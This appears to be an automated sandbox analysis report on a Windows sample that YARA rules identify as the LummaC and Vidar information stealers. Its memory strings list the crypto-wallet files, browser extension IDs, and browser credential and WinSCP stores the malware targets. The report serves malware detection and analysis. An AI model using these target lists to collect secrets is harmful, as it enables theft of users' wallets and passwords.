Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : Select * From AntiVirusProduct

Stealing of Sensitive Information
barindex
Yara detected LummaC Stealer
Source: Yara match File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.2752616723.00000000038F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2870661288.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Yara detected Vidar
Source: Yara match File source: sslproxydump.pcap, type: PCAP
Yara detected Vidar stealer
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 3.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.3ab5570.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 0.2.file.exe.3ab5570.2.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000000.00000002.2144529083.0000000003AB5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000003.00000002.2832771342.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: file.exe PID: 3492, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 7032, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: RegAsm.exe PID: 3532, type: MEMORYSTR
Found many strings related to Crypto-Wallets (likely being stolen)
Source: RegAsm.exe, 00000003.00000002.2843394238.0000000000FDD000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: *electrum*.*
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Electrum\wallets\
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: \Ethereum\
Source: RegAsm.exe, 00000003.00000002.2843926018.0000000001573000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: MetaMask|1|nkbihfbeogaeaoehlefnkodbefgpgknn|1|0|0|MetaMask|1|djclckkglechooblngghdinmeemkbgci|1|0|0|MetaMask|1|ejbalbakoplchlghecdalmeeeajnimhm|1|0|0|TronLink|1|ibnejdfjmmkpcnlpebklmnkoeoihofec|1|0|0|BinanceChainWallet|1|fhbohimaelbohpjbbldcngcnapndodjp|1|1|0|Yoroi|1|ffnbelfdoeiohenkjibnmadjiehjhajb|1|0|0|Coinbase|1|hnfanknocfeofbddgcijnmhnfnkdnaad|1|0|1|Guarda|1|hpglfhgfnhbgpjdenjgmdgoeiappafln|1|0|1|iWallet|1|kncchdigobghenbbaddojjnnaogfppfj|1|0|0|RoninWallet|1|fnjhmkhhmkbjkkabndcnnogagogbneec|1|0|0|NeoLine|1|cphhlgmgameodnhkjdmkpanlelnlohao|1|0|0|CloverWallet|1|nhnkbkgjikgcigadomkphalanndcapjk|1|0|0|LiqualityWallet|1|kpfopkelmapcoipemfendmdcghnegimn|1|0|0|Terra_Station|1|aiifbnbfobpmeekipheeijimdpnlpgpp|1|0|0|Keplr|1|dmkamcknogkgcdfhhbddcghachkejeap|1|0|0|AuroWallet|1|cnmamaachppnkjgnildpdmkaakejnhae|1|0|0|PolymeshWallet|1|jojhfeoedkpkglbfimdfabpdfjaoolaf|1|0|0|ICONex|1|flpiciilemghbmfalicajoolhkkenfel|1|0|0|Coin98|1|aeachknmefphepccionboohckonoeemg|1|0|0|EVER Wallet|1|cgeeodpfagjceefieflmdfphplkenlfk|1|0|0|KardiaChain|1|pdadjkfkgcafgbceimcpbkalnfnepbnk|1|0|0|Rabby|1|acmacodkjbdgmoleebolmdjonilkdbch|1|0|0|Phantom|1|bfnaelmomeimhlpmgjnjophhpkkoljpa|1|0|0|Oxygen (Atomic)|1|fhilaheimglignddkjgofkcbgekhenbh|1|0|0|PaliWallet|1|mgffkfbidihjpoaomajlbgchddlicgpn|1|0|0|NamiWallet|1|lpfcbjknijpeeillifnkikgncikgfhdo|1|0|0|Solflare|1|bhhhlbepdkbapadjdnnojkbgioiodbic|1|0|0|CyanoWallet|1|dkdedlpgdmmkkfjabffeganieamfklkm|1|0|0|KHC|1|hcflpincpppdclinealmandijcmnkbgn|1|0|0|TezBox|1|mnfifefkajgofkcjkemidiaecocnkjeh|1|0|0|Goby|1|jnkelfanjkeadonecabehalmbgpfodjm|1|0|0|RoninWalletEdge|1|kjmoohlgokccodicjjfebfomlbljgfhk|1|0|0|UniSat Wallet|1|ppbibelpcjmhbdihakflkdcoccbgbkpo|1|0|0|Authenticator|0|bhghoamapcdpbohphigoooaddinpkbai|1|1|0|GAuth Authenticator|0|ilgcnhelpchnceeipipijaljkblbcobl|1|1|1|Tronium|1|pnndplcbkakcplkjnolgbkdgjikjednm|1|0|0|Trust Wallet|1|egjidjbpglichdcondbcbdnbeeppgdph|1|0|0|Exodus Web3 Wallet|1|aholpfdialjgjfhomihkjbmgjidlcdno|1|0|0|Braavos|1|jnlgamecbpmbajjfhmmmlhejkemejdma|1|0|0|Enkrypt|1|kkpllkodjeloidieedojogacfhpaihoh|1|0|0|OKX Web3 Wallet|1|mcohilncbfahbmgdjkbpemcciiolgcge|1|0|0|Sender|1|epapihdplajcdnnkdeiahlgigofloibg|1|0|0|Hashpack|1|gjagmgiddbbciopjhllkdnddhcglnemk|1|0|0|GeroWallet|1|bgpipimickeadkjlklgciifhnalhdjhe|1|0|0|Pontem Wallet|1|phkbamefinggmakgklpkljjmgibohnba|1|0|0|Finnie|1|cjmkndjhnagcfbpiemnkdpomccnjblmj|1|0|0|Leap Terra|1|aijcbedoijmgnlmjeegjaglmepbmpkpi|1|0|0|Microsoft AutoFill|0|fiedbfgcleddlbcmgdigjgdfcggjcion|1|0|0|Bitwarden|0|nngceckbapebfimnlniiiahkandclblb|1|0|0|KeePass Tusk|0|fmhmiaejopepamlcjkncpgpdjichnecm|1|0|0|KeePassXC-Browser|0|oboonakemofpalcgghocfoadofidjkkk|1|0|0|Rise - Aptos Wallet|1|hbbgbephgojikajhfbomhlmmollphcad|1|0|0|Rainbow Wallet|1|opfgelmcmbiajamepnmloijbpoleiama|1|0|0|Nightly|1|fiikommddbeccaoicoejoniammnalkfa|1|0|0|Ecto Wallet|1|bgjogpoidejdemgoochpnkmdjpocgkha|1|0|0|Coinhub|1|jgaaimajipbpdogpdglhaphldakikgef|1|0|0|Leap Cosmos Wallet|1|fcfcfllfndlomdhbehjjcoimbgofdncg|1|0|0|MultiversX DeFi Wal
Source: RegAsm.exe, 00000003.00000002.2843394238.0000000000FDD000.00000004.00000010.00020000.00000000.sdmp String found in binary or memory: *ethereum*.*
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: keystore
Source: RegAsm.exe, 00000003.00000002.2832771342.00000000005A1000.00000040.00000400.00020000.00000000.sdmp String found in binary or memory: ets\|*.*|0|ElectrumLTC|1|\Electrum-LTC\wallets\|*.*|0|Exodus|1|\Exodus\|exodus.conf.json|0|Exodus|1|\Exodus\|window-state.json|0|Exodus|1|\Exodus\exodus.wallet\|passphrase.json|0|Exodus|1|\Exodus\exodus.wallet\|seed.seco|0|Exodus|1|\Exodus\exodus.wallet\|info.seco|0|Exodus|1|\Exodus\backups\|*.*|1|Electron Cash|1|\ElectronCash\wallets\|*.*|0|MultiDoge|1|\MultiDoge\|multidoge.wallet|0|Atomic|1|\atomic\Local Storage\leveldb\|*.*|0|Binance|1|\Binance\|app-store.json|0|Binance|1|\Binance\|simple-storage.json|0|Binance|1|\Binance\|.finger-print.fp|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.wallet|0|Coinomi|0|\Coinomi\Coinomi\wallets\|*.config|0|Ledger Live\Local Storage\leveldb|1|\Ledger Live\Local Storage\leveldb\|*.*|0|Ledger Live\Session Storage|1|\Ledger Live\Session Storage\|*.*|0|Ledger Live|1|\Ledger Live\|*.*|0|Chia Wallet|2|\.chia\mainnet\config\|*.*|0|Chia Wallet|2|\.chia\mainnet\run\|*.*|0|Chia Wallet|2|\.chia\mainnet\wallet\|*.sqlite|0|Komodo Wallet (Atomic)\config|1|\atomic_qt\config\|*.*|0|Komodo Wallet (Atomic)\exports|1|\atomic_qt\exports\|*.*|0|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb|1|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|*.*|0|Guarda Desktop\Local Storage\leveldb|1|\Guarda\Local Storage\leveldb\|*.*|0|
Tries to harvest and steal Bitcoin Wallet information
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core Jump to behavior
Tries to harvest and steal Putty / WinSCP information (sessions, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe Key opened: HKEY_CURRENT_USER\Software\Martin Prikryl\WinSCP 2\Configuration Jump to behavior
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\prefs.js Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite Jump to behavior
